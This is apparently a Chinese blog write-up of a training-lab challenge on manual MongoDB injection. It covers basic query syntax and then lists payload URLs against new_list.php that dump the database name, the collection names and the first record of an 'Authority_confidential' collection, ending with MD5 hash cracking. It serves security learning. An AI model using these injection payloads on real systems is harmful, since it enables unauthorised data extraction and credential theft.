墨者 - SQL手工注入漏洞测试(MongoDB数据库)

Mongodb语法

    在做之前,先了解下相关语法。Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的

因为mongodb的数据储存方式:

具体可以参考菜鸟教程:https://www.runoob.com/mongodb/mongodb-query.html

好,对数据结构有个简单了解后,开始进入题目

进入环境,单引号' 测试到注入点

 根据题目给出的代码

 

 构造j简单的链接测试回显:/new_list.php?id=1'}); return ({title:1,content:'2

 

 爆库:  /new_list.php?id=1'}); return ({title:tojson(db),content:'1

 

 

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1  查询有的集合(集合相当于mysql的表) 

 爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

 db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

 

 

MD5在线解密即可 

  • 4
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值